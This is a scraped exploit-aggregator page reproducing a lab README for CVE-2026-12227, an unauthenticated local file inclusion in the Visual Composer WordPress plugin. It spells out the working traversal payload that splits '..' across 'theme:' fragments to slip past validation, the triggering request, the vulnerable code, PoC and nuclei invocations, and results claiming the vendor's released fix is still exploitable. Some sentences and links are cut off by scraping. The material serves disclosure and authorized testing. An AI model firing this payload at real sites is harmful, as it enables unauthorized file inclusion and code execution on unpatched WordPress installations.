Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus • September 24, 2026

# CVE-2026-12227 - Visual Composer Unauthenticated LFI via vcv-template Validation Lab

Security-research material for reproducing and validating **CVE-2026-12227**:

an unauthenticated local file inclusion in Visual Composer Website Builder's

page-template resolution (CVSS 3.1 9.8), plus a verified vendor-fix

- **Affected:** Visual Composer **Use only on systems you own or are explicitly authorized to test.** The

> PoC fires harmless oracle includes (stock `wp-links-opml.php` /

> `xmlrpc.php` output). No file placement, no writes, no RCE payloads.

WP 7.1.1 + VC 45.16.1 : POST /?vcv-template-type=vc-custom-layout&

vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php

-> 200, body contains (docroot PHP included + executed)

WP 7.1.1 + VC 45.16.3 : same request -> same oracle output

(the vendor "fixed" release is still exploitable)

WP 7.1.2 + VC 45.16.1 : silent (masked by the core gate, not by a plugin fix)

Marker-level proof (a planted PHP file in uploads/ included and executed,

unauthenticated GET) is part of the lab evidence and reproduced by

`./lab verify` on the vulnerable variant.

`visualcomposer/Modules/Editors/Settings/PageTemplatesController.php::viewPageTemplate()`

hooks `template_include` at priority 11 with **no auth check**:

// line 140: validation on the RAW request value

if (empty($current) || validate_file($current['value']) !== 0) {

// lines 146-149: mutation AFTER the gate

if ($current['type'] === 'vc-custom-layout' && strpos($current['value'], 'theme:') !== false) {

$current['value'] = str_replace('theme:', '', $current['value']);

$result = locate_template($current['value']);

`validate_file()` rejects literal `..`. But the value is fused only after

the check, so splitting each traversal across a `theme:` boundary passes it:

raw: theme:.theme:./.theme:./.theme:./wp-links-opml.php (no literal '..')

validate: PASS (validate_file sees no '..' substring)

strip: str_replace('theme:', '', ...) removes every 'theme:' occurrence,

fusing the fragments: '.' + '../' per boundary

result: ../../../wp-links-opml.php (pure traversal, resolved by the sink)

`Request::input()` (`Helpers/Request.php:76`) returns raw

`$_POST/$_GET/$_REQUEST`, so nothing upstream cleans it either.

`locate_template()` resolves the candidate with `file_exists()`, which honors

WordPress 7.1.2 (the CVE-2026-87902 fix) added

`_wp_is_template_path_allowed()` inside `locate_template()`

(`wp-includes/template.php`). That core gate rejects the fused traversal

candidate, so on WP 7.1.2+ this plugin chain is **masked by core** - the

plugin was never patched. Attribution verified in-lab: on 7.1.2 the sink

still runs but is confined to the theme directory; on 7.1.1 it escapes.

**Practical consequence:** a site running Visual Composer 45.16.3 (the

current release, advertised as fixed) on WordPress

[=] oracle silent after N requests: WP 7.1.2+ core gate masking, ...

RESULT: PATCHED CONTROL CONFIRMED (masked by WP 7.1.2 core gate)

./lab start vulnerable # WP 7.1.1 + VC 45.16.1 on 127.0.0.1:9488

./lab start patched # WP 7.1.2 + VC 45.16.1

./lab start latest # WP 7.1.1 + VC 45.16.3 (still fires)

Run the PoC by hand (loopback default; authorized external targets need the

python3 poc/poc_cve_2026_12227.py --url

python3 poc/poc_cve_2026_12227.py --url \

--allow-authorized-non-loopback [--insecure]

The nuclei template (`nuclei/cve-2026-12227.yaml`) fires the same oracle

payloads across homepage + page_id anchors at depths 3-6 with

| WP 7.1.1 + VC 45.16.1 (= 45.16.0 code) | LFI reproduced (oracle + planted-marker execution) |

| WP 7.1.1 + VC 45.16.3 (current release) | LFI still fires |

| WP 7.1.2 + VC 45.16.1 | Silent (masked by core gate) |

| VC 45.16.2 | fix-diff reviewed; vulnerable path unchanged (not separately run) |

Not committed: `assets/` (plugin zips), `.lab-state`, `__pycache__/`.

| Unauthenticated LFI to PHP execution outside the theme dir | Proven (oracle + planted marker) |

| Vendor fix absent through 45.16.3 | Proven (code diff + live fire on 45.16.3) |

| WP 7.1.2 core masking | Proven (same request silent on 7.1.2, fires on 7.1.1) |

| Depth semantics | 3 ups to docroot from themes//; sweep covers 3-6 |

| RCE via pearcmd/write chains on real targets | Not executed (safe-oracle-only PoC) |

| 45.16.0 (original affected release) | Code-identical to 45.16.1; its wp.org zip lacks vendor/ and cannot install |

The advisories list the fix as landing in 45.16.1, but the vulnerable code

path is unchanged in every release through 45.16.3 (verified by tree diffs

and live fire). If you maintain Visual Composer: `viewPageTemplate()` needs

to re-validate (or refuse) the value after the `theme:` strip, not before.

Sites should not rely on plugin updates for this one - the WordPress 7.1.2

- [NVD entry](

- [Wordfence record](

- [wp.org trac changeset 3619572](

- [GHSA-3q44-ppmv-jh7f](

- Cross-referenced: CVE-2026-87902 (the WP core fix that masks this chain)

Run this repository only on systems you own or are explicitly authorized to

test. The lab driver refuses unknown variants, the PoC refuses non-loopback

targets unless `--allow-authorized-non-loopback` is supplied, and the Compose

See [SECURITY.md](SECURITY.md) for disclosure handling. This repository does

not include production targets, customer data, access tokens, or evidence

Extracted Entities